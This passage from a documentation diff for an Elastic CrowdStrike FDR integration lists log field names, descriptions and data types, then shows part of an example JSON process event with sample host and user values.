+| crowdstrike.TargetAuthenticationId |  | keyword |
+| crowdstrike.TargetCommandLineParameters |  | keyword |
+| crowdstrike.TargetDomainControllerObjectGuid |  | keyword |
+| crowdstrike.TargetDomainControllerObjectSid |  | keyword |
+| crowdstrike.TargetFileName |  | keyword |
+| crowdstrike.TargetIntegrityLevel |  | keyword |
+| crowdstrike.TargetProcessCommandLine |  | keyword |
+| crowdstrike.TargetProcessImageFileName |  | keyword |
+| crowdstrike.TargetSHA256HashData |  | keyword |
+| crowdstrike.TargetThreadId |  | keyword |
+| crowdstrike.TargetThreadModule |  | keyword |
+| crowdstrike.TaskAuthor |  | keyword |
+| crowdstrike.TaskExecArguments |  | keyword |
+| crowdstrike.TaskExecCommand |  | keyword |
+| crowdstrike.TaskName |  | keyword |
+| crowdstrike.TaskXml |  | match_only_text |
+| crowdstrike.Technique |  | keyword |
+| crowdstrike.TemplateDisposition |  | keyword |
+| crowdstrike.TemplateInstanceId |  | keyword |
+| crowdstrike.ThreadStartAddress |  | keyword |
+| crowdstrike.ThreadStartBytes |  | match_only_text |
+| crowdstrike.ThreadStartContext |  | keyword |
+| crowdstrike.Timeout |  | long |
+| crowdstrike.TokenType |  | keyword |
+| crowdstrike.TotalCount |  | long |
+| crowdstrike.TransmitLinkSpeed |  | keyword |
+| crowdstrike.TreeId |  | keyword |
+| crowdstrike.TunnelType |  | keyword |
+| crowdstrike.Type | The endpoint detection type ("ldt": Legacy Endpoint Detection, or "ofp": Office Prevention Macro Detection). | keyword |
+| crowdstrike.USN |  | keyword |
+| crowdstrike.UninstallPendingUpdateIds |  | match_only_text |
+| crowdstrike.UnixMode |  | keyword |
+| crowdstrike.UnsignedModuleLoadCount |  | long |
+| crowdstrike.UpdateFlag |  | keyword |
+| crowdstrike.UploadId |  | keyword |
+| crowdstrike.User |  | keyword |
+| crowdstrike.UserDepartment |  | keyword |
+| crowdstrike.UserFlags |  | keyword |
+| crowdstrike.UserGroupsBitmask |  | keyword |
+| crowdstrike.UserLogoffType |  | keyword |
+| crowdstrike.UserLogonFlags |  | keyword |
+| crowdstrike.UserLogonFlags_decimal |  | keyword |
+| crowdstrike.UserMapped |  | boolean |
+| crowdstrike.UserMemoryAllocateExecutableCount |  | long |
+| crowdstrike.UserMemoryAllocateExecutableRemoteCount |  | long |
+| crowdstrike.UserMemoryProtectExecutableCount |  | long |
+| crowdstrike.UserMemoryProtectExecutableRemoteCount |  | long |
+| crowdstrike.UserName |  | keyword |
+| crowdstrike.UserNotified |  | boolean |
+| crowdstrike.UserRid |  | keyword |
+| crowdstrike.UserSid |  | keyword |
+| crowdstrike.UserSid_readable |  | keyword |
+| crowdstrike.UserThread |  | keyword |
+| crowdstrike.UserTime |  | long |
+| crowdstrike.UserTitle |  | keyword |
+| crowdstrike.ValidLifetime |  | keyword |
+| crowdstrike.VerifiedCertificate |  | keyword |
+| crowdstrike.VersionInfo |  | match_only_text |
+| crowdstrike.VnodeModificationType |  | keyword |
+| crowdstrike.VnodeType |  | keyword |
+| crowdstrike.VolumeAppearanceTime |  | keyword |
+| crowdstrike.VolumeBusName |  | keyword |
+| crowdstrike.VolumeBusPath |  | keyword |
+| crowdstrike.VolumeDeviceCharacteristics |  | keyword |
+| crowdstrike.VolumeDeviceInternal |  | keyword |
+| crowdstrike.VolumeDeviceModel |  | keyword |
+| crowdstrike.VolumeDeviceObjectFlags |  | keyword |
+| crowdstrike.VolumeDevicePath |  | keyword |
+| crowdstrike.VolumeDeviceProtocol |  | keyword |
+| crowdstrike.VolumeDeviceRevision |  | keyword |
+| crowdstrike.VolumeDeviceType |  | keyword |
+| crowdstrike.VolumeDeviceVendor |  | match_only_text |
+| crowdstrike.VolumeDriveLetter |  | keyword |
+| crowdstrike.VolumeEncryptionStatus |  | keyword |
+| crowdstrike.VolumeFileSystemDevice |  | keyword |
+| crowdstrike.VolumeFileSystemDriver |  | keyword |
+| crowdstrike.VolumeFileSystemType |  | keyword |
+| crowdstrike.VolumeIsEncrypted |  | keyword |
+| crowdstrike.VolumeIsNetwork |  | keyword |
+| crowdstrike.VolumeLabel |  | keyword |
+| crowdstrike.VolumeMediaBSDMajor |  | keyword |
+| crowdstrike.VolumeMediaBSDMinor |  | keyword |
+| crowdstrike.VolumeMediaBSDName |  | keyword |
+| crowdstrike.VolumeMediaBSDUnit |  | keyword |
+| crowdstrike.VolumeMediaContent |  | keyword |
+| crowdstrike.VolumeMediaEjectable |  | keyword |
+| crowdstrike.VolumeMediaName |  | keyword |
+| crowdstrike.VolumeMediaPath |  | keyword |
+| crowdstrike.VolumeMediaRemovable |  | keyword |
+| crowdstrike.VolumeMediaSize |  | keyword |
+| crowdstrike.VolumeMediaUUID |  | keyword |
+| crowdstrike.VolumeMediaWhole |  | keyword |
+| crowdstrike.VolumeMediaWritable |  | keyword |
+| crowdstrike.VolumeMountPoint |  | keyword |
+| crowdstrike.VolumeName |  | keyword |
+| crowdstrike.VolumeOriginPath |  | match_only_text |
+| crowdstrike.VolumeRealDeviceName |  | keyword |
+| crowdstrike.VolumeSectorSize |  | keyword |
+| crowdstrike.VolumeSessionUUID |  | keyword |
+| crowdstrike.VolumeSnapshotName |  | match_only_text |
+| crowdstrike.VolumeSnapshotTimeStamp |  | match_only_text |
+| crowdstrike.VolumeType |  | keyword |
+| crowdstrike.VolumeUUID |  | keyword |
+| crowdstrike.WindowFlags |  | keyword |
+| crowdstrike.WmiNamespaceName |  | keyword |
+| crowdstrike.WmiProviderName |  | keyword |
+| crowdstrike.WmiProviderType |  | keyword |
+| crowdstrike.WmiQuery |  | keyword |
+| crowdstrike.__mv_LocalAddressIP4 |  | keyword |
+| crowdstrike.__mv_aip |  | keyword |
+| crowdstrike.__mv_discoverer_aid |  | keyword |
+| crowdstrike.aid |  | keyword |
+| crowdstrike.aipCount |  | integer |
+| crowdstrike.assessments |  | flattened |
+| crowdstrike.attack_types |  | keyword |
+| crowdstrike.aws_account_id |  | keyword |
+| crowdstrike.cid |  | keyword |
+| crowdstrike.cis_benchmark_ids |  | keyword |
+| crowdstrike.cisa_benchmark_ids |  | keyword |
+| crowdstrike.cloud_asset_type |  | long |
+| crowdstrike.cloudplatform |  | keyword |
+| crowdstrike.compliance.benchmarkNames |  | keyword |
+| crowdstrike.compliance.frameworks |  | keyword |
+| crowdstrike.compliance.requirements |  | keyword |
+| crowdstrike.compliance.sections |  | keyword |
+| crowdstrike.compliance.versions |  | keyword |
+| crowdstrike.created |  | date |
+| crowdstrike.crn |  | keyword |
+| crowdstrike.discovererCount |  | integer |
+| crowdstrike.discoverer_aid |  | keyword |
+| crowdstrike.disposition |  | keyword |
+| crowdstrike.eid |  | integer |
+| crowdstrike.event-type |  | keyword |
+| crowdstrike.event_category |  | keyword |
+| crowdstrike.finding |  | keyword |
+| crowdstrike.findings.name |  | keyword |
+| crowdstrike.findings.value |  | keyword |
+| crowdstrike.firstDetected |  | date |
+| crowdstrike.hostname |  | keyword |
+| crowdstrike.id |  | keyword |
+| crowdstrike.info.host.\* | Host information enriched from aidmaster data. | object |
+| crowdstrike.info.user.\* | User information enriched from userinfo data. | object |
+| crowdstrike.internal_only |  | boolean |
+| crowdstrike.iso_benchmark_ids |  | keyword |
+| crowdstrike.lastDetected |  | date |
+| crowdstrike.legacyPolicyId |  | long |
+| crowdstrike.localipCount |  | integer |
+| crowdstrike.management_event |  | boolean |
+| crowdstrike.monthsincereset |  | keyword |
+| crowdstrike.name |  | keyword |
+| crowdstrike.nist_benchmark_ids |  | keyword |
+| crowdstrike.os_version |  | keyword |
+| crowdstrike.pci_benchmark_ids |  | keyword |
+| crowdstrike.policy_severity |  | long |
+| crowdstrike.product_type_desc |  | keyword |
+| crowdstrike.read_only |  | boolean |
+| crowdstrike.request_id |  | keyword |
+| crowdstrike.request_parameters |  | keyword |
+| crowdstrike.resource.captured |  | date |
+| crowdstrike.resource.legacyResourceId |  | keyword |
+| crowdstrike.resource.legacyResourceTypeId |  | long |
+| crowdstrike.resource.resourceId |  | keyword |
+| crowdstrike.resource.resourceType |  | keyword |
+| crowdstrike.resource_url |  | keyword |
+| crowdstrike.response_elements |  | keyword |
+| crowdstrike.revision |  | long |
+| crowdstrike.scores.modified_time |  | date |
+| crowdstrike.scores.os |  | long |
+| crowdstrike.scores.overall |  | long |
+| crowdstrike.scores.sensor |  | long |
+| crowdstrike.scores.version |  | keyword |
+| crowdstrike.service |  | keyword |
+| crowdstrike.soc2_benchmark_ids |  | keyword |
+| crowdstrike.status |  | keyword |
+| crowdstrike.subnet |  | keyword |
+| crowdstrike.url |  | keyword |
+| crowdstrike.user_identity_access_key_id |  | keyword |
+| crowdstrike.user_identity_account_id |  | keyword |
+| crowdstrike.user_identity_arn |  | keyword |
+| crowdstrike.user_identity_mfa_authenticated |  | boolean |
+| crowdstrike.vertex_id |  | keyword |
+| crowdstrike.vertex_type |  | keyword |
+| data_stream.dataset | Data stream dataset. | constant_keyword |
+| data_stream.namespace | Data stream namespace. | constant_keyword |
+| data_stream.type | Data stream type. | constant_keyword |
+| destination.address | Some event destination addresses are defined ambiguously. The event will sometimes list an IP, a domain or a unix socket.  You should always store the raw address in the `.address` field. Then it should be duplicated to `.ip` or `.domain`, depending on which one it is. | keyword |
+| destination.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long |
+| destination.as.organization.name | Organization name. | keyword |
+| destination.as.organization.name.text | Multi-field of `destination.as.organization.name`. | match_only_text |
+| destination.geo.city_name | City name. | keyword |
+| destination.geo.continent_name | Name of the continent. | keyword |
+| destination.geo.country_iso_code | Country ISO code. | keyword |
+| destination.geo.country_name | Country name. | keyword |
+| destination.geo.location | Longitude and latitude. | geo_point |
+| destination.geo.region_iso_code | Region ISO code. | keyword |
+| destination.geo.region_name | Region name. | keyword |
+| destination.ip | IP address of the destination (IPv4 or IPv6). | ip |
+| destination.port | Port of the destination. | long |
+| device.id | The unique identifier of a device. The identifier must not change across application sessions but stay fixed for an instance of a (mobile) device. On iOS, this value must be equal to the vendor identifier (https://developer.apple.com/documentation/uikit/uidevice/1620059-identifierforvendor). On Android, this value must be equal to the Firebase Installation ID or a globally unique UUID which is persisted across sessions in your application. For GDPR and data protection law reasons this identifier should not carry information that would allow to identify a user. | keyword |
+| dll.Ext.size | Size of DLL. | long |
+| dns.question.name | The name being queried. If the name field contains non-printable characters (below 32 or above 126), those characters should be represented as escaped base 10 integers (\DDD). Back slashes and quotes should be escaped. Tabs, carriage returns, and line feeds should be converted to \t, \r, and \n respectively. | keyword |
+| dns.question.registered_domain | The highest registered domain, stripped of the subdomain. For example, the registered domain for "foo.example.com" is "example.com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last two labels will not work well for TLDs such as "co.uk". | keyword |
+| dns.question.subdomain | The subdomain is all of the labels under the registered_domain. If the domain has multiple levels of subdomain, such as "sub2.sub1.example.com", the subdomain field should contain "sub2.sub1", with no trailing period. | keyword |
+| dns.question.top_level_domain | The effective top level domain (eTLD), also known as the domain suffix, is the last part of the domain name. For example, the top level domain for example.com is "com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last label will not work well for effective TLDs such as "co.uk". | keyword |
+| dns.question.type | The type of record being queried. | keyword |
+| dns.type | The type of DNS event captured, query or answer. If your source of DNS events only gives you DNS queries, you should only create dns events of type `dns.type:query`. If your source of DNS events gives you answers as well, you should create one event per query (optionally as soon as the query is seen). And a second event containing all query details as well as an array of answers. | keyword |
+| ecs.version | ECS version this event conforms to. `ecs.version` is a required field and must exist in all events. When querying across multiple indices -- which may conform to slightly different ECS versions -- this field lets integrations adjust to the schema version of the events. | constant_keyword |
+| event.action | The action captured by the event. This describes the information in the event. It is more specific than `event.category`. Examples are `group-add`, `process-started`, `file-created`. The value is normally defined by the implementer. | keyword |
+| event.category | This is one of four ECS Categorization Fields, and indicates the second level in the ECS category hierarchy. `event.category` represents the "big buckets" of ECS categories. For example, filtering on `event.category:process` yields all events relating to process activity. This field is closely related to `event.type`, which is used as a subcategory. This field is an array. This will allow proper categorization of some events that fall in multiple categories. | keyword |
+| event.created | `event.created` contains the date/time when the event was first read by an agent, or by your pipeline. This field is distinct from `@timestamp` in that `@timestamp` typically contain the time extracted from the original event. In most situations, these two timestamps will be slightly different. The difference can be used to calculate the delay between your source generating an event, and the time when your agent first processed it. This can be used to monitor your agent's or pipeline's ability to keep up with your event source. In case the two timestamps are identical, `@timestamp` should be used. | date |
+| event.dataset | Event dataset | constant_keyword |
+| event.id | Unique ID to describe the event. | keyword |
+| event.kind | This is one of four ECS Categorization Fields, and indicates the highest level in the ECS category hierarchy. `event.kind` gives high-level information about what type of information the event contains, without being specific to the contents of the event. For example, values of this field distinguish alert events from metric events. The value of this field can be used to inform how these kinds of events should be handled. They may warrant different retention, different access control, it may also help understand whether the data is coming in at a regular interval or not. | keyword |
+| event.module | Event module | constant_keyword |
+| event.original | Raw text message of entire event. Used to demonstrate log integrity or where the full log message (before splitting it up in multiple parts) may be required, e.g. for reindex. This field is not indexed and doc_values are disabled. It cannot be searched, but it can be retrieved from `_source`. If users wish to override this and index this field, please see `Field data types` in the `Elasticsearch Reference`. | keyword |
+| event.outcome | This is one of four ECS Categorization Fields, and indicates the lowest level in the ECS category hierarchy. `event.outcome` simply denotes whether the event represents a success or a failure from the perspective of the entity that produced the event. Note that when a single transaction is described in multiple events, each event may populate different values of `event.outcome`, according to their perspective. Also note that in the case of a compound event (a single event that contains multiple logical events), this field should be populated with the value that best captures the overall success or failure from the perspective of the event producer. Further note that not all events will have an associated outcome. For example, this field is generally not populated for metric events, events with `event.type:info`, or any events for which an outcome does not make logical sense. | keyword |
+| event.timezone | This field should be populated when the event's timestamp does not include timezone information already (e.g. default Syslog timestamps). It's optional otherwise. Acceptable timezone formats are: a canonical ID (e.g. "Europe/Amsterdam"), abbreviated (e.g. "EST") or an HH:mm differential (e.g. "-05:00"). | keyword |
+| event.type | This is one of four ECS Categorization Fields, and indicates the third level in the ECS category hierarchy. `event.type` represents a categorization "sub-bucket" that, when used along with the `event.category` field values, enables filtering events down to a level appropriate for single visualization. This field is an array. This will allow proper categorization of some events that fall in multiple event types. | keyword |
+| file.Ext.original.name |  | keyword |
+| file.Ext.original.path |  | keyword |
+| file.device | Device that is the source of the file. | keyword |
+| file.directory | Directory where the file is located. It should include the drive letter, when appropriate. | keyword |
+| file.drive_letter | Drive letter where the file is located. This field is only relevant on Windows. The value should be uppercase, and not include the colon. | keyword |
+| file.extension | File extension, excluding the leading dot. Note that when the file name has multiple extensions (example.tar.gz), only the last one should be captured ("gz", not "tar.gz"). | keyword |
+| file.hash.sha256 | SHA256 hash. | keyword |
+| file.inode | Inode representing the file in the filesystem. | keyword |
+| file.name | Name of the file including the extension, without the directory. | keyword |
+| file.path | Full path to the file, including the file name. It should include the drive letter, when appropriate. | keyword |
+| file.path.text | Multi-field of `file.path`. | match_only_text |
+| file.size | File size in bytes. Only relevant when `file.type` is "file". | long |
+| file.type | File type (file, dir, or symlink). | keyword |
+| group.Ext.real.id | Unique identifier for the group on the system/platform. | keyword |
+| group.id | Unique identifier for the group on the system/platform. | keyword |
+| host.domain | Name of the domain of which the host is a member. For example, on Windows this could be the host's Active Directory domain or NetBIOS domain name. For Linux this could be the domain of the host's LDAP provider. | keyword |
+| host.geo.city_name | City name. | keyword |
+| host.geo.continent_name | Name of the continent. | keyword |
+| host.geo.country_name | Country name. | keyword |
+| host.geo.timezone | The time zone of the location, such as IANA time zone name. | keyword |
+| host.hostname | Hostname of the host. It normally contains what the `hostname` command returns on the host machine. | keyword |
+| host.ip | Host ip addresses. | ip |
+| host.name | Name of the host. It can contain what hostname returns on Unix systems, the fully qualified domain name (FQDN), or a name specified by the user. The recommended value is the lowercase FQDN of the host. | keyword |
+| host.os.type | Use the `os.type` field to categorize the operating system into one of the broad commercial families. If the OS you're dealing with is not listed as an expected value, the field should not be populated. Please let us know by opening an issue with ECS, to propose its addition. | keyword |
+| host.os.version | Operating system version as a raw string. | keyword |
+| input.type |  | keyword |
+| log.file.path | Full path to the log file this event came from, including the file name. It should include the drive letter, when appropriate. If the event wasn't read from a log file, do not populate this field. | keyword |
+| log.offset |  | long |
+| network.community_id | A hash of source and destination IPs and ports, as well as the protocol used in a communication. This is a tool-agnostic standard to identify flows. Learn more at https://github.com/corelight/community-id-spec. | keyword |
+| network.direction | Direction of the network traffic. When mapping events from a host-based monitoring context, populate this field from the host's point of view, using the values "ingress" or "egress". When mapping events from a network or perimeter-based monitoring context, populate this field from the point of view of the network perimeter, using the values "inbound", "outbound", "internal" or "external". Note that "internal" is not crossing perimeter boundaries, and is meant to describe communication between two hosts within the perimeter. Note also that "external" is meant to describe traffic between two hosts that are external to the perimeter. This could for example be useful for ISPs or VPN service providers. | keyword |
+| network.iana_number | IANA Protocol Number (https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml). Standardized list of protocols. This aligns well with NetFlow and sFlow related logs which use the IANA Protocol Number. | keyword |
+| network.transport | Same as network.iana_number, but instead using the Keyword name of the transport layer (udp, tcp, ipv6-icmp, etc.) The field value must be normalized to lowercase for querying. | keyword |
+| observer.address |  | keyword |
+| observer.geo.city_name | City name. | keyword |
+| observer.geo.continent_name | Name of the continent. | keyword |
+| observer.geo.country_iso_code | Country ISO code. | keyword |
+| observer.geo.country_name | Country name. | keyword |
+| observer.geo.location | Longitude and latitude. | geo_point |
+| observer.geo.region_iso_code | Region ISO code. | keyword |
+| observer.geo.region_name | Region name. | keyword |
+| observer.ip | IP addresses of the observer. | ip |
+| observer.serial_number | Observer serial number. | keyword |
+| observer.type | The type of the observer the data is coming from. There is no predefined list of observer types. Some examples are `forwarder`, `firewall`, `ids`, `ips`, `proxy`, `poller`, `sensor`, `APM server`. | constant_keyword |
+| observer.vendor | Vendor name of the observer. | constant_keyword |
+| observer.version | Observer version. | keyword |
+| process.Ext.token.integrity_level_name | Human readable integrity level. | keyword |
+| process.args | Array of process arguments, starting with the absolute path to the executable. May be filtered to protect sensitive information. | keyword |
+| process.args_count | Length of the process.args array. This field can be useful for querying or performing bucket analysis on how many arguments were provided to start a process. More arguments may be an indication of suspicious activity. | long |
+| process.command_line | Full command line that started the process, including the absolute path to the executable, and all arguments. Some arguments may be filtered to protect sensitive information. | wildcard |
+| process.command_line.text | Multi-field of `process.command_line`. | match_only_text |
+| process.end | The time the process ended. | date |
+| process.entity_id | Unique identifier for the process. The implementation of this is specified by the data source, but some examples of what could be used here are a process-generated UUID, Sysmon Process GUIDs, or a hash of some uniquely identifying components of a process. Constructing a globally unique identifier is a common practice to mitigate PID reuse as well as to identify a specific process over time, across multiple monitored hosts. | keyword |
+| process.executable | Absolute path to the process executable. | keyword |
+| process.executable.caseless | Multi-field of `process.executable`. | keyword |
+| process.executable.text | Multi-field of `process.executable`. | match_only_text |
+| process.exit_code | The exit code of the process, if this is a termination event. The field should be absent if there is no exit code for the event (e.g. process start). | long |
+| process.group.id |  | keyword |
+| process.hash.md5 | MD5 hash. | keyword |
+| process.hash.sha256 | SHA256 hash. | keyword |
+| process.name | Process name. Sometimes called program name or similar. | keyword |
+| process.name.caseless | Multi-field of `process.name`. | keyword |
+| process.name.text | Multi-field of `process.name`. | match_only_text |
+| process.parent.entity_id | Unique identifier for the process. The implementation of this is specified by the data source, but some examples of what could be used here are a process-generated UUID, Sysmon Process GUIDs, or a hash of some uniquely identifying components of a process. Constructing a globally unique identifier is a common practice to mitigate PID reuse as well as to identify a specific process over time, across multiple monitored hosts. | keyword |
+| process.parent.name | Process name. Sometimes called program name or similar. | keyword |
+| process.parent.name.text | Multi-field of `process.parent.name`. | match_only_text |
+| process.pgid | Deprecated for removal in next major version release. This field is superseded by `process.group_leader.pid`. Identifier of the group of processes the process belongs to. | long |
+| process.pid | Process id. | long |
+| process.start | The time the process started. | date |
+| process.thread.id | Thread ID. | long |
+| process.title | Process title. The proctitle, some times the same as process name. Can also be different: for example a browser setting its title to the web page currently opened. | keyword |
+| process.title.text | Multi-field of `process.title`. | match_only_text |
+| process.uptime | Seconds the process has been up. | long |
+| related.hash | All the hashes seen on your event. Populating this field, then using it to search for hashes can help in situations where you're unsure what the hash algorithm is (and therefore which key name to search). | keyword |
+| related.hosts | All hostnames or other host identifiers seen on your event. Example identifiers include FQDNs, domain names, workstation names, or aliases. | keyword |
+| related.ip | All of the IPs seen on your event. | ip |
+| related.user | All the user names or other user identifiers seen on the event. | keyword |
+| server.address | Some event server addresses are defined ambiguously. The event will sometimes list an IP, a domain or a unix socket.  You should always store the raw address in the `.address` field. Then it should be duplicated to `.ip` or `.domain`, depending on which one it is. | keyword |
+| server.domain | The domain name of the server system. This value may be a host name, a fully qualified domain name, or another host naming format. The value may derive from the original event or be added from enrichment. | keyword |
+| server.registered_domain | The highest registered server domain, stripped of the subdomain. For example, the registered domain for "foo.example.com" is "example.com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last two labels will not work well for TLDs such as "co.uk". | keyword |
+| server.subdomain | The subdomain portion of a fully qualified domain name includes all of the names except the host name under the registered_domain.  In a partially qualified domain, or if the the qualification level of the full name cannot be determined, subdomain contains all of the names below the registered domain. For example the subdomain portion of "www.east.mydomain.co.uk" is "east". If the domain has multiple levels of subdomain, such as "sub2.sub1.example.com", the subdomain field should contain "sub2.sub1", with no trailing period. | keyword |
+| server.top_level_domain | The effective top level domain (eTLD), also known as the domain suffix, is the last part of the domain name. For example, the top level domain for example.com is "com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last label will not work well for effective TLDs such as "co.uk". | keyword |
+| source.address | Some event source addresses are defined ambiguously. The event will sometimes list an IP, a domain or a unix socket.  You should always store the raw address in the `.address` field. Then it should be duplicated to `.ip` or `.domain`, depending on which one it is. | keyword |
+| source.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long |
+| source.as.organization.name | Organization name. | keyword |
+| source.as.organization.name.text | Multi-field of `source.as.organization.name`. | match_only_text |
+| source.geo.city_name | City name. | keyword |
+| source.geo.continent_name | Name of the continent. | keyword |
+| source.geo.country_iso_code | Country ISO code. | keyword |
+| source.geo.country_name | Country name. | keyword |
+| source.geo.location | Longitude and latitude. | geo_point |
+| source.geo.region_iso_code | Region ISO code. | keyword |
+| source.geo.region_name | Region name. | keyword |
+| source.ip | IP address of the source (IPv4 or IPv6). | ip |
+| source.mac | MAC address of the source. The notation format from RFC 7042 is suggested: Each octet (that is, 8-bit byte) is represented by two [uppercase] hexadecimal digits giving the value of the octet as an unsigned integer. Successive octets are separated by a hyphen. | keyword |
+| source.port | Port of the source. | long |
+| tags | List of keywords used to tag each event. | keyword |
+| url.domain | Domain of the url, such as "www.elastic.co". In some cases a URL may refer to an IP and/or port directly, without a domain name. In this case, the IP address would go to the `domain` field. If the URL contains a literal IPv6 address enclosed by `[` and `]` (IETF RFC 2732), the `[` and `]` characters should also be captured in the `domain` field. | keyword |
+| url.extension | The field contains the file extension from the original request url, excluding the leading dot. The file extension is only set if it exists, as not every url has a file extension. The leading period must not be included. For example, the value must be "png", not ".png". Note that when the file name has multiple extensions (example.tar.gz), only the last one should be captured ("gz", not "tar.gz"). | keyword |
+| url.original | Unmodified original url as seen in the event source. Note that in network monitoring, the observed URL may be a full URL, whereas in access logs, the URL is often just represented as a path. This field is meant to represent the URL as it was observed, complete or not. | wildcard |
+| url.original.text | Multi-field of `url.original`. | match_only_text |
+| url.path | Path of the request, such as "/search". | wildcard |
+| url.registered_domain | The highest registered url domain, stripped of the subdomain. For example, the registered domain for "foo.example.com" is "example.com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last two labels will not work well for TLDs such as "co.uk". | keyword |
+| url.scheme | Scheme of the request, such as "https". Note: The `:` is not part of the scheme. | keyword |
+| url.subdomain | The subdomain portion of a fully qualified domain name includes all of the names except the host name under the registered_domain.  In a partially qualified domain, or if the the qualification level of the full name cannot be determined, subdomain contains all of the names below the registered domain. For example the subdomain portion of "www.east.mydomain.co.uk" is "east". If the domain has multiple levels of subdomain, such as "sub2.sub1.example.com", the subdomain field should contain "sub2.sub1", with no trailing period. | keyword |
+| url.top_level_domain | The effective top level domain (eTLD), also known as the domain suffix, is the last part of the domain name. For example, the top level domain for example.com is "com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last label will not work well for effective TLDs such as "co.uk". | keyword |
+| user.Ext.real.id | One or multiple unique identifiers of the user. | keyword |
+| user.domain | Name of the directory the user is a member of. For example, an LDAP or Active Directory domain name. | keyword |
+| user.email | User email address. | keyword |
+| user.full_name | User's full name, if available. | keyword |
+| user.full_name.text | Multi-field of `user.full_name`. | match_only_text |
+| user.group.id | Unique identifier for the group on the system/platform. | keyword |
+| user.id | Unique identifier of the user. | keyword |
+| user.name | Short name or login of the user. | keyword |
+| user.name.text | Multi-field of `user.name`. | match_only_text |
+
+
+An example event for `fdr` looks as following:
+
+```json
+{
+    "@timestamp": "2020-10-01T09:58:32.519Z",
+    "agent": {
+        "id": "71e71f16-ae08-46e3-a58e-a7d14e974950",
+        "name": "elastic-agent-30302",
+        "type": "filebeat",
+        "version": "8.18.0"
+    },
+    "aws": {
+        "s3": {
+            "bucket": {
+                "name": "elastic-package-crowdstrike-fdr-30445"
+            },
+            "object": {
+                "key": "data"
+            }
+        }
+    },
+    "crowdstrike": {
+        "AuthenticationId": "3783389",
+        "ConfigStateHash": "3998263252",
+        "EffectiveTransmissionClass": "3",
+        "Entitlements": "15",
+        "ImageSubsystem": "2",
+        "IntegrityLevel": "4096",
+        "MD5HashData": "50d5fd1290d94d46acca0585311e74d5",
+        "ParentAuthenticationId": "3783389",
+        "ProcessCreateFlags": "525332",
+        "ProcessParameterFlags": "16385",
+        "ProcessSxsFlags": "1600",
+        "RpcClientProcessId": "2439558094566",
+        "SHA256HashData": "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37",
+        "SessionId": "1",
+        "SourceProcessId": "2439558094566",
+        "SourceThreadId": "77538684027214",
+        "Tags": [
+            "41",
+            "12094627905582",
+            "12094627906234"
+        ],
+        "TokenType": "2",
+        "WindowFlags": "128",
+        "cid": "ffffffff30a3407dae27d0503611022d",
+        "id": "ffffffff-1111-11eb-8462-02ade3b2f949",
+        "info": {
+            "host": {
+                "AgentLoadFlags": "1",
+                "AgentLocalTime": "1697775225",
+                "AgentTimeOffset": "15889.017",
+                "AgentVersion": "7.01.13922.0",
+                "BiosManufacturer": "Iris",
+                "BiosVersion": "vG17V.21040423/z64",
+                "ChassisType": "Other",
+                "City": "Chicago",
+                "ConfigBuild": "1007.3.0017312.1",
+                "ConfigIDBuild": "13922",
+                "Continent": "North America",
+                "Country": "United States of America",
+                "FalconGroupingTags": "'FalconGroupingTags/AMERICA'",
+                "FirstSeen": "1628678052.0",
+                "HostHiddenStatus": "Visible",
+                "MachineDomain": "groot.org",
+                "OU": "Servers;America;Offices",
+                "PointerSize": "8",
+                "ProductType": "3.0",
+                "ServicePackMajor": "0",
+                "SiteName": "BCL",
+                "SystemManufacturer": "Iris",
+                "SystemProductName": "IrOS",
+                "Time": "1697992719.22",
+                "Timezone": "America/Chicago",
+                "Version": "Windows Server 2021",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "event_platform": "Win"
+            },
+            "user": {
+                "AccountType": "Domain User",
+                "LastLoggedOnHost": "COMPUTER1",
+                "LocalAdminAccess": "No",
+                "LogonInfo": "Domain User Logon",
+                "LogonTime": "1702546155.197",
+                "LogonType": "Interactive",
+                "PasswordLastSet": "1699971198.062",
+                "User": "DOMAIN\\BRADLEYA",
+                "UserIsAdmin": "0",
+                "UserLogonFlags_decimal": "0",
+                "_time": "1702546168.576",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "event_platform": "Win",
+                "monthsincereset": "1.0"
+            }
+        },
+        "name": "ProcessRollup2V18"
+    },
+    "data_stream": {
+        "dataset": "crowdstrike.fdr",
+        "namespace": "77613",
+        "type": "logs"
+    },
+    "device": {
+        "id": "ffffffff655344736aca58d17fb570f0"
+    },
+    "elastic_agent": {
+        "id": "71e71f16-ae08-46e3-a58e-a7d14e974950",
+        "snapshot": false,
+        "version": "8.18.0"
+    },
+    "event": {
+        "action": "ProcessRollup2",
+        "agent_id_status": "verified",
+        "category": [
+            "process"
+        ],
+        "created": "2020-10-01T09:58:32.519Z",
+        "dataset": "crowdstrike.fdr",
+        "id": "ffffffff-1111-11eb-8462-02ade3b2f949|ffffffff655344736aca58d17fb570f0|ffffffff30a3407dae27d0503611022d",
+        "ingested": "2025-08-27T05:55:29Z",
+        "kind": "event",
